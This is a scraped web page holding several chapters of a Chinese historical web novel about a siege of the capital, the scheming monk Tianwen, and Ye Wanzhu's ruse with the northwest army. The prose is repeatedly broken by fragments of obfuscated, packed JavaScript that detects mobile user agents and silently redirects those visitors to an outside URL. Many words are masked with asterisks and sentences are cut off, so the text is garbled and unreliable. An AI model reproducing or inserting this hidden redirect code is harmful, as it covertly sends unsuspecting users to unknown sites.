RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957720|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办?” 小罗将军听着城里依旧混乱不堪的动静,这会儿又有些焦躁了起来。 “那冒牌货跑了,我带人去追——” “不。” 他一句话还没说完,隐月回过神来,连忙摇了摇头。 “那秃驴是我故意让他走的。” “这是为何?” 小罗将军闻言,脸上写满了不解,话刚出口,他却又猛地愣住了。 不会,不会这位九千岁身边的侍卫,也是什么人假扮的吧? “警戒!” 还没等思索,他便已经下意识地拔出刀,又大吼一声! 从方才就还没反应过来的兵士们这会儿更是已经彻底放弃了思考,听着小罗将军的命令,也齐齐冲上前去,又要把隐月围住。 “你也疯了是不是?” 隐月瞠目结舌地看着小罗将军,目光触到他眼底的草木皆兵,顿时又深吸了一口气。 “我不是假扮的!再说,天问那秃驴也不必这么多此一举吧?” 有了一个霍澜将军,又何必再安排一个来拆台的呢? 这不是弄巧成拙吗? “你好好想想!”他恨铁不成钢地叹了口气,“冷静点!别又中了那秃驴的奸计!” 从暗中往他们身边安插探子,收买眼线,再到如今用**直接替代身份,这天问大师一直以来要做的事情,恐怕就是分化他们,再挨个击破! 如今看来,这计划,少说也成功了一大半。 小罗将军闻言眼神犹疑,仍是不敢尽信。 这位的话虽然说得很有道理,但他今天已经受了太多的欺骗,实在是不知道该相信谁了。 “诶呀,怎么这么磨蹭?” 小罗将军还站在原地,忽然又是一声传来,他猛地抬起头,又见着一道白色的身影,和隐月一样翻越城墙,稳稳地站到了自己的面前! “你,你又是何人?” 柳寻雁推了一把隐月,动作透着急促。 “师妹那边已经准备好了,随时都能开始。” “你!你不信就摸摸他的脸!” 第二百八十章 城外有大军来了! 她又朝着还在怔愣的小罗将军大喊了一声。 小罗将军的脑袋这会儿已经彻底被眼前的景象搅合成了一团浆糊! 这是谁? 她刚才又说的是什么意思? 要开始什么? “快!” 还没等小罗将军把这几句话整理明白,隐月闻言也着急起来,快走两步,抓起小罗将军的手就按到了自己脸上。 “你,你要干什么?” 吓了好大一跳,小罗将军下意识地想抽回自己的手,可隐月却抓得更紧了。 “快摸,没有面具吧?” 按着他的手在自己脸侧均匀地转了一圈,确定什么都没有,隐月这才又一把将小罗将军甩开。 “现在能配合一下了吗?”他没好气地问道。 小罗将军的表情看上去还是十分幻灭。 他怎么有一种被深深嫌弃了的感觉? 可手下的触感确实十分光滑,没有任何能掀起来的地方,他后退两步,终是下定了决心,“请侍卫吩咐吧。” 看着他这幅模样,隐月也深深地吸了一口气。 “请将军下令,让五城兵马司的将士们佯败。” 小罗将军闻言又瞪大了双眼! 他是不是,还是被骗了? “还有城北大营的兵马也是,”隐月竟然还有后话,“不仅要败,还要惨败,最好丢盔弃甲,全都撤出京城!” “你这又是什么意思?”小罗将军的眼神已经陷入了彻彻底底的迷茫。 “禹山那边眼下是安全的,将军可以带着手下兵马前去,暂时修整,待时机成熟,再听命行事。” 隐月压根没在听小罗将军的疑问,自顾自地又把话继续说了下去。 小罗将军的脸上已经彻底变成了空白一片。 听命行事? 听谁的命? 不是,他们这到底是要干什么啊? 恍恍惚惚之间,小罗将军自己都没发现,他竟然把这一连串的问题说出了口。 隐月叹了口气,对这位黏黏糊糊的性子简直佩服得五体投地! “别的我不能多说,但你们听的,是宫中的命令,这点,将军觉得够了吗?” —— “大师,他们退了。” 东厂之中,天问大师背着双手站在一片即将熄灭的火海前,看着无尘大师朝自己走来。 这乍一听似乎是个好消息,可天问大师这会儿却怎么也高兴不起来。 五城兵马司和城北大营的兵马竟然齐齐哗变,硬是挡在了那些南疆人的面前,将他原本定下的推进计划,活生生地拖慢了几倍有余! 按照计划,这个时候,南疆大军应该已经将京城**过一回,惹得京中处处血流成河了才对! 可眼下,那些南疆人甚至还没有打到内城附近,还被纠缠着在外城浪费时间。 看着宫中已经要熄灭的大火,天问大师的表情阴晴不定。 “南疆军损耗几何?”他沉声发问。 无尘大师闻言愣了一下,而后小心翼翼地抬起头朝着天问大师看去。 他只是个假和尚,他,他哪里会领兵打仗? 更别说处理这些战场上的突发情况了! 见状,天问大师也反应过来,是自己心急了,他闭了闭眼,又深吸了一口气。 “孟希越现在在什么地方?” “世子在宫中指挥救火,”无尘大师的眼神又变得有力了一些,“我去把他叫来?” 天问大师正要点头,一声响亮的**猝不及防地传了过来! “轰!” “怎么回事?” 这**声完全不在计划之中,天问大师感受着脚下的震动,面上神情也跟着一变! 又是突发情况? 他几乎是条件反射般地抬起头看向天空,表情又立刻变得十分难看! “走,去宫中!” 撂下一句话,天问大师身形纵越,几乎是一瞬间就消失了。 无尘大师狠狠愣住,片刻后才赶忙追了上去! 那震耳欲聋的**声自然也传到了宫中,彼时孟希越正在指挥着手下冲进还没倒塌的宫殿中救人,被这响动所慑,也不由得转过头去。 “这是怎么回事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957721|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>比起天问大师,南疆军的动向还是他掌握得更加清楚,孟希越的表情也变得更加怀疑。 五城兵马司里到处都是被家中塞进来镀金的高门子弟,平日里只负责京城的巡视,战斗力根本就不能和在沙场上真刀**过的南疆大军比。 城北大营的兵马能强一些,但也好不到什么地方去,这两支队伍被南疆大军击溃,简直是理所应当的事情。 可这会儿这**声就来得十分诡异了。 刚找来手下,让他们去打探情况,孟希越转过头,便看到天问大师和无尘大师这两位,仿佛凭空出现在自己面前一样。 见着这两位,孟希越的脸色微妙地变化了一下。 “大师,稀客啊,您终于舍得进宫了?” 抱起双臂,孟希越的语气也算不上太好。 他的人还没在宫中找到玉玺,这里便被天问大师抢先下手,烧了个稀巴烂。 南疆大军也不是他下令进城的,屠城的命令,那就更是和孟希越连八竿子的关系都打不着了。 可亲自现身,逼宫弑君的人是他,和南疆大军联络的人,一直以来也是他。 天问大师轻轻在背后挑拨两下,这明面上的罪行,就全都要扣在他孟希越的身上了。 更何况,那无尘大师还二话不说就杀了安王。 轮流注视着面前这两位,孟希越双手背后,“二位有何要事?是打算帮本世子灭火吗?” 天问大师的表情也算不上好。 京城的事情告一段落之前,他本不应该让自己出现在皇宫之中的。 现在却不得不破戒了。 “方才的**是怎么回事,南疆军的兵力,现在又还有多少?” 沉声开口,天问大师径直略过了孟希越的阴阳怪气。 孟希越静静地看着他,眼中浮现着冷意,片刻后,却还是顺从地回应。 “五城兵马司和城北大营约有五万人手,按照我的猜测,击溃他们之后,南疆大军应该还有十二万左右。” “至于那**声——” “将军!不好了将军!城外有大军,马上就要杀进来了!” 第二百八十一章 天问大师的盘算 孟希越的话还没说完,就被这个一脸惊恐,连滚带爬冲到几人面前的随从给打断了。 此人是在军中跟着孟希越行动的,事关南疆大军的情况,也一直是他在处理。 “怎么回事?”孟希越闻言一惊,又快步上前,“是什么人在城外?” “是,是景平王妃!” 随从砚山眉头紧皱,被孟希越连拖带拽着才站起身来,浑身上下都在发抖。 他哆哆嗦嗦地攀着孟希越的胳膊,才勉强找到平衡。 “景平王妃带着一支队伍,已经到了城外,目测,目测至少也有十几万人!” “你说什么?” 孟希越闻言不由得大惊失色,“这怎么可能呢?” 十几万人的队伍,是怎么悄无声息地出现在京城之外的? 他们又是什么来头? “是西北军。” 天问大师这时候上前两步,也一把抓住了砚山的手臂。 他手上用力,仿佛铁钳一般,砚山不由得倒吸一口冷气,抬眼看着这位,目光中显出了畏惧之色。 天问大师却仿佛毫无觉察,一双眼睛依旧死死地盯着他。 “是谁率兵?叶晚竹还是徐皓阳?” 此话一出,孟希越神情一怔,难以置信地缓缓转过头来。 西北大军的事情,天问大师怎么也知道得这么清楚? 他甚至都不知道这么多呢! 砚山斜晲着自己主子的表情,这会儿浑身上下哆嗦得更厉害了! 看着主子的模样,这两位之前的气氛,怎么好像有点不对劲啊? 可他的手臂这会儿依旧被天问大师死死地攥在手里,那力道大得惊人,好像要把砚山的胳膊整个儿从中间折断了一样。 忍着疼痛,又对上天问大师催促的目光,砚山深吸一口气,战战兢兢地道,“是,是景平王妃!” 他派出去的手下是亲眼看见景平王妃领着大军前来的,这总不应该有错了吧? 又说到正事,砚山终于艰难地找回自己的思路,慌忙再度开口,“临时吊桥也已经被炸毁了,可看他们的样子,显然是早有准备,攻入城中不是难事!将军,请您快下令吧!” 孟希越闻言不得不暂时收回目光,垂头思忖起外面的情况来。 南疆大军还有十二万人马,数量上或许稍微逊色于西北大军,但好在他们已经将京城占据,靠着城池这个天然优势,只要能守住几波进攻,说不定…… “孟世子,可否借一步说话?” 思绪忽然被打断,孟希越皱着眉头抬起头,便看到天问大师已经站到了自己眼前。 “大师有何指教?”他的语气有些不耐。 天问大师于阴谋诡计一道上十分精通,也有些幽冥手段,但在带兵打仗一事上,却是外行中的外行。 这个时候,他能说出什么来? 更别说,在西北大军的这件事上,天问大师也早已经背着他做了不少小手段了, 这么想着,孟希越面上的神情就变得更冷淡了。 天问大师的眉头也皱着,伸出去的手却并未落下,固执地朝着无人的角落。 思忖片刻,孟希越还是抬步朝着那边而去。 “大师说吧。” 两人走到角落,孟希越的语气不由得又有些急促,“速战速决。” 天问大师将双手拢在袖中,神情间依旧写着几分犹豫之色。 “仅凭南疆那十二万大军,孟世子真有把握,能击退叶晚竹?”他开口发问。 孟希越忍了忍,才没把心里话当场说出来。 他没有把握,难道这位大师能上阵杀敌? “大师有话不妨直说,阵前局势瞬息万变,没有太多纠结的功夫。” 孟希越说话的这阵时间,原本已经安静下来的城中隐隐又有了要躁动起来的意思,混乱的喊声远远地传到了两人耳中。 天问大师沉了沉气,“西北这十几万大军,能否为我们所用?” 孟希越的神情猛地一僵。 “大师这是在和我开玩笑吗?现在都到了什么时候了?” 饶是知道天问大师这个时候不应该如此没眼色,孟希越还是忍不住冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967130|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,“大师若是无事就让开!” 天问大师却一动不动地站在原处。 “南疆的队伍,再怎么样都是非我族类,眼下能用来清扫京城,却不能长久地盘踞在这里,否则,就算世子日后登基,也要为人诟病。” 他这话说得堪称语重心长,一副满心为孟希越打算的模样。 孟希越却感觉后背有些发凉。 听天问大师这语气,这些南疆大军最后的下场,他一定是已经想好了。 并且,这下场不会太好。 孟希越到底是大梁人,和南疆结盟也是权宜之计,他不至于会心疼这些算是仇敌的南疆人,却是因此想到了自己。 在天问大师那里,他的结局,又会是什么? “世子?” 孟希越思索的时间有些长了,天问大师听着外面越发喧嚣的动静,又催促了一句。 回过神来,孟希越藏起心绪,“大师有何打算?” “世子是皇亲国戚,孟家传人,而叶晚竹只是一个根基不稳的外姓王,连这个称号,都是先帝神志不清之下,胡乱封赏的,怎能当真?” 天问大师说着话,又压低了几分声音。 “正好,眼下京中乱党生事,刺杀先皇,屠戮城池,使民不聊生,这等时候,就该皇家血脉兴起,带大军扫平逆贼,还京城一个太平!” 听明白了天问大师的意思,孟希越先是怔忪犹豫,而后眼底也渐渐浮起了意动。 若是此计当真能成,倒的确不失为一个好办法…… “至于景平王妃,贫僧愿意替世子效劳,世子意下如何?”天问大师又继续道。 孟希越再抬起目光的时候,眼底的情绪便不太平静了。 “大师所言有理,不过本世子当真好奇,您要叶晚竹,到底有什么用处?” 他扪心自问,比起自己,天问大师对抓住叶晚竹的执念,几乎已经到了执迷的地步。 天问大师缓缓一笑,“等时机成熟,世子自会知晓。” “现在,还是请世子再帮贫僧掩饰一二,助贫僧拿人吧?” 第二百八十二章 领兵之人,不是王妃 京城城门前,气氛这个时候已经变得无比紧张了起来。 护城河上的吊桥今天算是倒了大霉,被接连炸了两次,又在方才的第三次**之中彻底化为了灰烬。 已经攻占了京城的南疆军们,刚费劲将五城兵马司和城北大营的兵马逼退,还没等反应过来,便看见另外一支威风凛凛的队伍正压在城外,随时都有冲进城中的意思。 而直到这个时候,他们才后知后觉地反应过来。 护城河上出现了一座新的浮桥! 原来刚才那**,都是掩人耳目之举! “西北大军前来勤王,助圣上击破逆党!” 浮桥对面,一个身穿黑衣,同样威风凛凛的影子端坐马上,手执长剑,直直朝着盘踞在城墙上的南疆兵士发话。 “识相的,速速投降,否则等大军杀入城中,顷刻之间,就要了你们的性命!” 她声音清亮,再配上稍显清瘦的身影,很容易便能让人看出,这是个女子。 城墙之上,刚刚占据了主动权的南疆将军伸长了脖子,朝着发声的地方看了下去。 “这是什么人?” 这姓穆的将军身材结实而矮小,皮肤黝黑,一双眼睛倒是闪着幽幽的精光。 “没有盔甲,坐骑也不合适,”他眯着眼睛上下打量着下方的女子,“她不是大军将领,怎么会坐在这个位置上?” “穆将军,这个时候,您就别分析了吧?” 穆将军的副将小心翼翼地站在一旁,扫了一眼下方黑压压的队伍,语气又变得越发急迫起来,“咱们现在该怎么办?” 这下方的大梁军队,在数量上明显优于他们,京城又是大梁人的主场,副将这会儿多想一想,他就头疼! 这还不算,他们攻入城中的时候,因为五城兵马司的阻拦,穆将军派人用**炸毁了京城的城门! 眼下城门处没了唯一的屏障,这些大梁的军队想冲进城中,岂不是轻而易举? “慌什么!没用的东西!” 听出副将语气里的颤抖,穆将军眼神一厉,回头一巴掌就扇在他的头盔上! “你没看出来吗?”他的语气十分不屑,“外面这支队伍的大将不在,这女人,十有**是来虚张声势的!她还真敢攻入城中吗?” 一军统帅都不在,这仗,还能怎么好好地打? “我看,他们现在只怕也心虚得很,”穆将军又冷嗤了一声,“传令下去,让咱们的人守好城门,等本将军想个办法,杀了这莫名其妙的女人,他们的队伍,也就要不攻自破了!” “这话说得有点意思。” 穆将军话音未落,一声轻笑响起,站在城墙上的一众南疆军士都转过头去。 “威武将军。” 立刻便认出了来人,穆将军朝着孟希越一拱手,目光又朝着走在他身边的另外一个人而去。 此人穿着一身灰袍,头戴布帽,看上去好像是个从什么地方云游到此的教书先生一般。 “这是叶先生。”孟希越也是这么介绍他的。 两军阵前,随时都有可能开战的时候,这位带个先生做什么? 穆将军皱着眉头,眼底全是疑惑。 “这是本将军身边的军师,尔等不得怠慢。” 穆将军把心思都写在脸上,孟希越一眼看去就能知道得清清楚楚。 他又看向身边的天问大师,不得不解释了一句。 穆将军还是皱着眉头。 打扮成教书先生的天问大师这时候又上前两步,脑袋微微一晃,立刻便从城墙外缩了回来。 用余光看着这位的动作,穆将军的眼底忍不住闪过一丝轻蔑。 怂包软蛋的读书人,竟然也敢跑到战场上,简直是不自量力! “世子,请借一步说话。” 天问大师看完了下方的情况,回头给孟希越使了个眼色。 孟希越不得不跟着他的动作,又往一旁的角落里走了过去。 他最终还是答应了天问大师的要求,又带着这位来到城墙之上。 孟希越带兵打仗也有些经验了,一眼便能看出眼下的局势对守城方来说,着实是有些紧张。 不知道是谁把城门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967131|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸了个粉碎,简直是猖狂至极,还堵**自己的退路! 这会儿情况危急,孟希越只想赶快动手发兵,却不知道这天问大师又要干什么。 “大师有话赶快说。”再开口的时候,孟希越便连最后一点儿好声气都快没有了。 天问大师倒也没有再故弄玄虚,直切主题。 “下面的人,不是叶晚竹。”他沉声说道。 “你说什么?” 孟希越闻言便又皱起了眉头。 不是叶晚竹? 城下的情况,他方才也是看到了的,那领军之人的确是女子,声音也和他印象中的叶晚竹一模一样。 怎么会不是? “我记得世子先前说过,景平王妃曾经跟着景平王前往西北,二人并肩作战,如此说来,就算是耳濡目染,景平王妃也该对军中之事颇为了解,对不对?” 天问大师缓缓开了口。 听到他又开始绕圈子,孟希越叹气的声音显得有些暴躁了起来,“正是,大师不是都看见了吗?” 西北大军和叶晚竹有些故旧情分,和那徐皓阳更是如此,否则的话,这二十万的守边大军,怎么可能甘心被叶晚竹号令? “景平王妃正是钻了这个空子!” 天问大师的语气这会儿也变得更重了。 “下面的喊话,方才你也听见了,一个会带兵打仗之人,怎么说出如此江湖气的话来?” “坐在下面马上的那人,不是叶晚竹,而是她那个师姐才对!” 孟希越闻言又是一惊。 “这怎么可能?” 徐将军不在,临阵换帅已经是兵家大忌,换叶晚竹这样有经验的将领也就罢了,怎么可能让一个江湖女子挂帅—— 刚想到这儿,孟希越自己先愣住了。 说起来,下方那女子身上并未穿着盔甲,脑袋上却带着头盔,从城墙上方看去,将整张脸都挡了个严严实实! 难道,难道真让天问大师猜对了? “世子若是不信,不妨再看看下面,这么长时间过去,大军动了吗?” 第二百八十三章 世子,别来无恙 天问大师的又一句话响起,孟希越更是愣住了。 是啊,城门已开,浮桥也已经准备就位,大军想入城只剩一步之遥。 可他们为什么不动? 孟希越不由得又朝着城墙之外看了过去。 “既然如此,那叶晚竹去哪儿了?”一个问题脱口而出。 天问大师的表情变了变,瞧着有些狰狞。 “声东击西,能放着城外二十万大军不管,我想,这件事对景平王妃来说,一定十分重要。” 重要到能抛弃大局? 孟希越一震,“是那个叫叶菡的小丫头?” “想来也是。” 天问大师后退两步,瞬间就和孟希越拉开了几分距离。 “贫僧要立刻回去看看,既然景平王妃敢只身入城,那剩下的事情,倒是变得简单了一些。” 没有统帅,城外的二十万大军不仅无用,一会儿收拢起来,还更顺手。 “王妃出了一手昏招,世子,恭喜了!” 又朝着孟希越点了点头,天问大师转身走下石阶,而后便瞬间消失在了他眼前。 孟希越站在原地,这会儿还有些反应不过来。 他已经做好了要恶战一场的准备,现在看来,应该是不需要了? “孟将军,咱们现在如何是好?” 另一边,余光里看着这所谓的军师离开,穆将军便立刻朝着孟希越大步走了过来。 “本将军打算让人把这女人引开杀了,到时候,下面大军群龙无首,就能被我们一网打尽了!孟将军以为如何啊?” 咧着大嘴,穆将军的笑容分外得意。 孟希越沉默地看着这位。 先前的那位石将军已经**,他才是孟希越主要和南疆军联络的对象,眼下的穆将军,他并不算熟络。 石将军也是南疆王特意指派的,对大梁的兵法十分感兴趣,也愿意为孟希越所用。 可这位穆将军,却明显不是什么好合作的角色。 孟希越从他的眼中看出了熟悉的野心。 他们已经打进了大梁的京城,距离灭国仅有一步之遥,这种时候,南疆人真的能心甘情愿地停下来吗? 孟希越扪心自问,若换成是他,他是一定不会甘心的。 闭了闭眼,他深吸一口气。 “穆将军所言极是,本将也是这么想的,只是如此一来,便需要一支精良的小队前往偷袭,还得一击的中。” “不知道穆将军有没有这个打算?” 听着他的话,穆将军嘴角的笑容变得冷淡了一些。 “威远将军,”他背着双手看向孟希越,“都到了这个时候,你们再不出力,是不是不太好啊?” “为了替你扫清京城的残余势力,我们可是折损了好几万的兵马呢!” 孟希越双手一摊,心下微冷,面上却挂着一抹苦笑。 “若是本将军有人可用,那从一开始便无须求助你们,是不是?” 穆将军的眼神审视地在他身上转来转去。 “将军若是不放心,那便借给我一千兵马好了。” 似乎是看他实在犹豫,孟希越率先松了口,“八百也行,那女子不会打仗,只要生擒了她,大军就会立刻一溃千里。” “本将军先带小队下去,只要得手,穆将军便立刻发动大军,出城将这大军搅散,再各个击破,如何?” 这话一出,便是要将京城的控制权彻底交到穆将军手上了。 不能控制地勾了勾嘴角,穆将军的表情立刻变得明亮了几分。 若是这大梁的威远将军,带兵偷袭的时候出了什么事,那…… 到时候,南疆大军在城中,大梁队伍在城外,这京城是谁的地盘,那还用得着分辨吗? 想到自己马上就要为南疆王立下一大功,穆将军的笑容几乎要掩饰不住。 “好,就这么办!” —— 一炷香之后,南疆大军忽然发动袭击,潮水一般的兵马朝着城外涌出。 另一边,在他们的掩护之下,孟希越带着一支八百人的南疆队伍,从一侧悄无声息地绕出,朝着大军的侧翼而去。 看着身边这少得可怜的将士,大多还是最末等的士兵,孟希越低下头,几乎要掩饰不住面上冷厉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967132|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色。 连二百人手都不愿意多给,这穆将军的心思,简直是一目了然,连半分都不想再遮掩。 但也幸好他是个傻子,否则,这件事倒是不好办了。 前方战鼓声声,孟希越一行人小心翼翼,朝着那正在发号施令的身影而去。 面对南疆大军的突然袭击,这二十万大军瞧着似乎也并没有乱了阵脚,此刻正在缓缓后撤,看架势,是要留出方便向前冲杀的空间。 看着西北大军进退有度,冷静镇定的模样,孟希越脚下的动作却越来越慢了。 这模样,瞧着也不像是无人领兵啊。 可是是谁在指挥? “孟将军,咱们上吧?” 再犹豫,孟希越也带着人手走到了大军附近,只要向前冲锋,就能趁这些将士不备,冲散他们的队伍,再将那马背上的女子拿下! 南疆士兵们各个摩拳擦掌,脸上都已经写满了兴奋之色。 孟希越的脸色却变得更加犹豫,“再等等……” 他认得叶晚竹的身形,且让他再看看,这马上的人,究竟是—— “呲”地一声,刀兵入肉的声音响起,孟希越后心猛地一痛! 不好! 他下意识地捂住心口,回身一脚将那敢偷袭自己的南疆士兵踹得飞了出去! 那人哀嚎一声,重重摔在地上,动静不小,顿时引起了西北大军的注意。 “有人偷袭!” “小心!” 眼看着阵型变幻,大批兵马要朝着自己这边冲过来,孟希越忍着钻心的疼痛飞身而起,朝着那马上的女子就扑了上去! 不管是谁,这会儿只有赌一把了! 那蠢到家的南疆人,外敌还没扫清,就这么迫不及待地要对合作同盟下手! 简直是愚不可及! 用尽全力,孟希越冲向马上的女子,手中**高高扬起,刀锋带着鲜艳的色泽,显然是有剧毒。 他没命地一刀扎下,手腕却是一痛,被面前的人稳稳地捏住了。 “世子?别来无恙啊。” 头盔之下,叶晚竹笑得一脸灿烂! 第二百八十四章 他算错了?! “怎,怎么是你?”孟希越大惊失色,一时间竟然连挣扎都忘记了。 叶晚竹闻言笑了笑,毫不意外。 “让我猜猜,你应该是听了什么人的话,觉得在这里领兵的人,不是本王,对不对?” “至于这个人……应该就是那位大秃了吧?” 看着孟希越的表情变得无比难看,叶晚竹就知道,自己肯定是猜对了。 那天问大师行事冷血多疑,又心狠手辣,只要给他一个破绽,他就会迫不及待地上钩的。 毕竟,在这秃驴心里,人人都该是自私凉薄,不会管他人死活的货色。 “不过,世子偷偷摸摸地出现在这儿,是准备来暗杀我的?” 敛起心神,叶晚竹又笑着朝孟希越看去,眼中带着一丝嘲讽,“世子可是要登基为帝的,怎么已经沦落到在战场上当刺客的地步?” 孟希越紧紧咬着牙关不发一言,心底已经渐渐地凉了下去。 他本打算杀了马上的统帅,再把身后这八百人送到西北大军的马蹄下送死,便能摇身一变,领着这支二十万的大军杀进城中,彻底将这些南疆人堵死在里面。 可他怎么也没想到,坐在这里的人,真的是叶晚竹! 天问大师居然猜错了! 想到这儿,孟希越背上的冷汗忽然就全下来了。 如此说来,那叶晚竹岂不是要带兵攻城了—— “撤!快撤!” 惊慌失措的喊声忽然从四面八方传来,孟希越刚想茫然转头,一阵失重感忽然袭上! 等他反应过来,已经被几个熟悉的身影制在手中,连拖带抱地朝着和京城相反的方向而去。 隐月一把折断了孟希越的手臂,剧痛猛地袭来,孟希越眼前一黑,残留的精神却还在控制不住地思索着。 这是要撤退? 大好的机会,为什么要撤退? 城墙之上,穆将军听着下方变得混乱起来的动静,再看向统帅方才站着的地方,这会儿已经空空如也,只剩下一匹高头大马,正在转头没命地往反方向奔逃。 “连马都是废物!”他兴奋地一拍大腿,“追!城中只留五千,不,三千兵马压阵,剩下的人全都出去给我追!一定要把他们全歼在城外!” 扫平了这个障碍,大梁的京城,就是他们的了! 穆将军的军令一下,南疆的大军鱼贯而出,携着震天的喊杀声,飞也似地跟在逃跑的西北大军身后追赶起来。 他们的动静硬生生地把半昏迷过去的孟希越又惊得醒了过来,听着背后传来的响动,他先是越发通体生寒,又模模糊糊地浮起了一个念头。 天问大师笃定叶晚竹会去救叶菡,却算了个空,那他现在发现了没有? 穆将军是个彻头彻尾的棒槌,他这命令一下,南疆的兵马只有被叶晚竹引到陷阱里等死的份儿。 孟希越想了一圈,唯一能让他抱有希望的,竟然真的只有天问大师了! —— 早些时候。 天问大师匆匆和孟希越告别,便身形轻灵地来到了东厂的遗址之上。 这里的火已经被扑灭了,地上却还残留着些许余温,在一片狼藉之中,天问大师精准地找到了通往地下暗牢的入口。 东厂地表的建筑物已经被完全摧毁,但设计在地下的几座暗牢却都幸免于难。 缓步走到地下,厚重的石墙掩盖了上方嘈杂的声音和灼热的温度,一丝彻骨的寒气让天问大师的脚步也不由得加快了几分。 他很快便走到了一间牢房门前。 “死秃子来了!” 虚弱但咬牙切齿的声音传来,天问大师垂下脑袋,对上了小花的视线。 小花有气无力地靠在石墙上,遍体鳞伤,只有一双眼睛还在不屈地闪着愤怒的光芒。 她这么一出声示警,牢房中其他几人也跟着睁开双眼,一脸警惕地朝着天问大师看来。 “秃驴,你想干,干什么?” 书画挣扎着挪动身体,朝着小花身边靠了靠,双眼死死盯着天问大师,好像想从他身上咬下一块肉来似的。 这牢房里还有潇湘院原本的下人们,以及曼娘和一众铺子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968756|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伙计,众人将宽敞的牢房也挤得满满当当,这会儿又齐齐露出了凶狠的表情。 人人都带着一身的伤,看上去煞是可怜。 天问大师目光挨个扫过牢房中这一张张人脸,并未理会她们的仇恨,倒是皱起了眉。 一个不少,也一个不多。 叶晚竹没有来过? 这怎么可能—— “在找我吗?” 含笑的女声响起,一把长鞭也骤然从上方袭来,天问大师身子下意识地向前闪躲,双眼却用力瞪大,露出了一丝难以置信的神情! 来的人怎么会是她? 柳寻雁从台阶上飞身而下,手中动作不停,噼里啪啦地便朝着天问大师抽了过去! 仔细一看,她身上穿着的,也是一身黑衣。 “你这心思深沉的老秃子,自己把自己骗了吧?” 冷笑一声,柳寻雁步伐再度向前,精准地一鞭子甩在天问大师脚边! 天问大师方才恍惚之下,已经失了先机,这会儿反应过来才抬手应战,只是脸上的表情难看至极! 他竟然算错了! 来救人的是柳寻雁,那在城外带兵的便是真正的叶晚竹,如此说来,输赢还未可知! 想到这儿,天问大师顿时无心恋战,抬手迸出一团白雾,他身形隐入其中,顿时就消失得无影无踪。 “死秃子!你有种别跑啊!” 小花旁观了全程,激动得连连瞪眼,朝着天问大师逃跑的方向喊了几声,又把自己累得气喘吁吁的。 柳寻雁这时候也从白雾中脱身出来,并不意外天问大师的举动,快步走到牢房门外,摸出**,一刀将锁门的铁链劈成了两截。 她拉开牢门,又连忙扶住了小花摇摇欲坠的身子。 “你就是小花吧?我是你娘亲的师姐。” 已经听叶晚竹交代过情况,柳寻雁擦了擦小花脸上的血,又抬头看向余下众人。 “晚竹让我来接应你们,趁这会儿京中大乱,咱们赶快离开!” “你以为你们走得了吗?” 第二百八十五章 你认识世子是吧 天问大师的声音再度袭来,与此同时,整座暗牢忽然猛烈地颤动了一下! “怎么回事?” 所有人都被震得猛地一阵摇晃,刚稳住脚下,便又听到阵阵沉闷的响声传来。 